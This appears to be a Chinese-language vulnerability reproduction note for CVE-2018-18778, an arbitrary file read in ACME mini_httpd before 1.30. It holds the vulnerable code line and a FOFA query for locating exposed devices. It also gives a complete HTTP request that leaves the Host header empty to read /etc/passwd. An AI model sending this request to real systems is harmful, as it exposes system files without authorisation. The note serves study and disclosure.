2022-05-25 16:51:48 +08:00
|
|
|
|
# ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
漏洞原因是由于没有过滤Http包头的特定字段，导致可以构造访问系统文件的路径，从而导致可访问任意文件，攻击者可以利用该漏洞读取设备的任意文件，这将严重威胁采用Mini_httpd的设备的安全性。
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
ACME mini_httpd before 1.30
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
app="ACME-mini_httpd"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
指纹信息
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
在mini_httpd开启虚拟主机模式的情况下，用户请求`http://HOST/FILE`将会访问到当前目录下的HOST/FILE文件。
|
|
|
|
|
|
|
|
|
|
|
|
当`HOST=example.com、FILE=index.html`的时候，上述语句结果为`example.com/index.html`，文件正常读取。
|
|
|
|
|
|
|
|
|
|
|
|
当`HOST为空、FILE=etc/passwd`的时候，上述语句结果为`/etc/passwd`。
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
发送请求包, 置空 host
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
GET /etc/passwd HTTP/1.1
|
|
|
|
|
|
Host:
|
|
|
|
|
|
Accept: text/plain, */*; q=0.01
|
|
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
|
|
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
|
|
|
|
|
|
Content-Length: 0
|
|
|
|
|
|
Referer: http://192.168.0.144:8080/
|
|
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
|
|
|
|
|
|
x-requested-with: XMLHttpRequest
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
